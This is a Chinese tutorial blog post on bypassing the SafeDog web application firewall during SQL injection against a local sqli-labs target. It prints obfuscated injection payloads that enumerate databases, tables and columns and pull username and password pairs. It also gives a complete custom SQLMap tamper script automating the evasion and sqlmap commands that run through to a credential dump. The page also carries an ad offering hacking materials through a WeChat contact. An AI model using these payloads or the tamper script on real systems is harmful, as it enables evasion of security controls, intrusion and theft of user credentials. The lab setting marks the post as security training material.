首页 > 数据库 >教你编写SQLMap的Tamper脚本过狗

教你编写SQLMap的Tamper脚本过狗

时间:2023-02-22 17:48:19浏览次数:46  
标签:SQLMap 过狗 http -- Tamper py id payload select

测试环境

最新版某狗

image-20221116225837107

image-20221116225753420

image-20221116235259034

测试方法

安全狗其实是比较好绕的WAF,绕过方法很多,但这里我们就用一种:注释混淆

一招鲜吃遍天下

注释混淆,其实就是在敏感位置添加垃圾字符注释,常用的垃圾字符有/、!、*、%

这里再解释一下内联注释,因为后面要用到:

MySQL内联注释: /*!xxxxxxx*/ !后面的语句会当作SQL语句直接执行

但是如果!后面跟着MySQL版本号,那么就会出现两种情况

1. 当!后面接的数据库版本号小于自身版本号,就会将注释中的内容执行

2. 当!后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

数据库版本号以五位数字表示,比如当前环境下数据库版本号表示为:50553

image-20221116233353075

!后面接小于50553的:

image-20221116233608795

执行了select 1;

!后面接大于等于50553的:

image-20221116233711130

执行了 select ;

下面进入正题

bypass

and

and 1=1

image-20221116235316437

但是把空格删掉就不拦了

image-20221116235339830

所以,我们认为,and后面不能直接跟空格...

那么如果用其他形式表示空格呢?

前面说了,我们这次只使用注释混淆:

burp,抓包设置

image-20221117224958857

image-20221117225247624

长度5335是被拦截的

image-20221117225433936

长度为899的说明成功绕过

image-20221117225644883

我们选择其中一个作为空格的替代者就好了,这里我们选择/*%*

即:->/*/*%**/

同理 ,or是一样的:

image-20221117225932271

order by

image-20221117230226839

测试发现还是只要替换order by中间的空格就可以了,所以绕过方法和前面一样:

image-20221117230449378

union select

image-20221117230705430

union select使用之前的垃圾字符替换空格发现不行了:

image-20221117230827969

但是先不急于换方法,再爆破一遍试试:

image-20221117231524071

image-20221117231535419

发现又有很多可以绕过的了。

所以我们再更改一下替换空格的垃圾字符, 这里选/*/!%!/*/

即:->/*/!%!/*/

image-20221117231738553

获得当前数据库

正常语句:

?id=-1 union select 1,database(),3 --+

image-20221117233954379

绕过:

image-20221117234140343

即:()->(/*/!%!/*/)

获取数据库中的表

正常语句:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

image-20221117234536391

绕过:

经过测试发现拦截的是select + from + information_schema的组合

image-20221118000051636

image-20221118002146272

中间加垃圾字符替换空格已经不管用了,我们尝试对关键字进行混淆。

information_schema进行混淆测试:

首先使用内联注释,发现,这里的版本号不管写啥,都直接被拦。

image-20221123200819404

考虑是检测了select + from + /*! + information_schema的组合

加个换行试试

image-20221123203050692

还是不行...

那既然都换行了,那我们再在换行前加一些垃圾字符:

如果我们直接插入垃圾字符,会当作SQL语句执行,所以前面还需要在垃圾字符前加个注释,可以是 /**/#--+

但是经过测试只有 --+好用

image-20221123205925460

有这么多可以绕过的,我们随便选择一个,比如/*%/

这样,最终语句如下:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+

image-20221123210146367

image-20221123210211058

获取表字段

正常语句:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

绕过语句:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+

image-20221123210849454

获取字段信息

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users

image-20221123211716244

成功。

编写tamper

当我们下载了SQLMap,解压后,我们可以找到文件夹【tamper】,该文件夹有很多个Tamper脚本帮助我们绕过一些安全防护:

image-20221123231851559

网上有很多相关脚本的介绍,我就不一一介绍了。

虽然SQLMap提供了这么多的Tamper脚本,但是在实际使用的过程中,网站的安全防护并没有那么简单,可能过滤了许多敏感的字符以及相关的函数。这个时候就需要我们针对目标的防护体系构建相应的Tamper脚本。

Tamper相当于一个加工车间,它会把我们的Payload进行加工之后发往目标网站。

我们随便打开一个Tamper脚本看一下它的结构:

#apostrophemask.py
​
#!/usr/bin/env python
​
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
from lib.core.enums import PRIORITY
# 定义脚本优先级
__priority__ = PRIORITY.LOWEST
​
# 对当前脚本的介绍
def dependencies():
    pass
​
'''
对传进来的payload进行修改并返回
函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。
'''
def tamper(payload, **kwargs):
    """
    Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
​
    References:
        * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
        * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
        * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850
        * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps
​
    >>> tamper("1 AND '1'='1")
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
    """
​
    return payload.replace('\'', "%EF%BC%87") if payload else payload
​

可见Tamper脚本的结构非常简单,其实渗透测试中的主要难点还是如何去绕过WAF。

下面我们针对bypass部分的绕过方法进行编写Tamper脚本,来实现自动化SQL注入:

实际测试的时候发现,sqlmap默认语句中的AS关键字也会被拦截,这里也用同样的方法替换一下就好

#!/usr/bin/env python
​
import re
​
from lib.core.settings import UNICODE_ENCODING
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
​
def dependencies():
    pass
​
def tamper(payload, **kwargs):
    if payload:
        payload = payload.replace(" ","/*/!%!/*/")
        payload = payload.replace("()","(/*/!%!/*/)")
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)
        payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload)        
​
    return payload
​

测试:

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent

image-20221124125849229

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables

image-20221124135830104

python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns

image-20221124135950875

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3

image-20221124140241774

更多靶场实验练习、网安学习资料,请点击这里>>

 

标签:SQLMap,过狗,http,--,Tamper,py,id,payload,select
From: https://www.cnblogs.com/hetianlab/p/17145271.html

相关文章

  • SQLmap使用
    SQLmap使用只对sql注入进行测试参数详解Target:目标-usqlmap.py-u"http://43.136.41.84:8080/vulnerabilities/sqli/?id=1&Submit=Submit"-pid--cookie"PHPSE......
  • 一款备受欢迎的用户脚本管理器插件TampermonKey-油猴脚本管理器安装与使用
    Tampermonkey简介Tampermonkey是一款备受欢迎的浏览器扩展和用户脚本管理器,它适用于目前各种主流浏览器。方便的脚本管理(正在运行的脚本和可以运行的脚本在图标处显示一......
  • sqlmap工具的常用参数及用法
    介绍sqlmap是一个由python开发,开源的渗透测试工具,可以进行自动sql注入获取数据库信息,它同时支持windows和linux操作系统常用参数(sqlmap-u+“网址”+参数)1.-u可以......
  • SQLMAP使用
    sqlmap使用教程-u指定目标URL(可以是http协议也可以是https协议)-d连接数据库--dbs列出所有的数据库--current-db列出当前数据库--tables列出当前的表--column......
  • SQL注入-SQLmap-不同数据库注入
    SQL注入-不同数据库注入-注入工具的使用简要学习各种数据库的注入特点access,mysql,mssql,mongoDB,postgresql,sqlite,oracle,sybase等1.access注入Access数据库......
  • SQL注入-SQLmap-不同数据库注入
    SQL注入-不同数据库注入-注入工具的使用简要学习各种数据库的注入特点access,mysql,mssql,mongoDB,postgresql,sqlite,oracle,sybase等1.access注入Access数据库......
  • SQLMAP使用
    sqlmap使用教程-u指定目标URL(可以是http协议也可以是https协议)-d连接数据库--dbs列出所有的数据库--current-db列出当前数据库--tables列出当前的表--column......
  • Microsoft Edge浏览器Tampermonkey(油猴)插件的安装与使用
    打开MicrosoftEdge浏览器,点开此链接,安装油猴Tampermonkey下载安装好之后选择在工具栏中显示效果就是这样点击获取新脚本搜索学习通找到这个,并点击安装会......
  • 如何使用sqlmap爆库和挂马
    ​这篇文章讲述一下sqlmap的基本使用,爆库和挂马。安装sqlmap: 这篇文章讲述一下sqlmap的基本使用,爆库和挂马。 windows:(1)安装python并配置环境PythonReleasesforWin......
  • SQL注入基础及SQLmap
    SQL注入基础及SQLmap一、数据库基础1.数据库基本概念Oracle、MySQL、SQLServer、Access、DB2、Sqlite3都使用SQL语言(增删改查等基础内容相同,扩展内容各不相同)SQL:结构......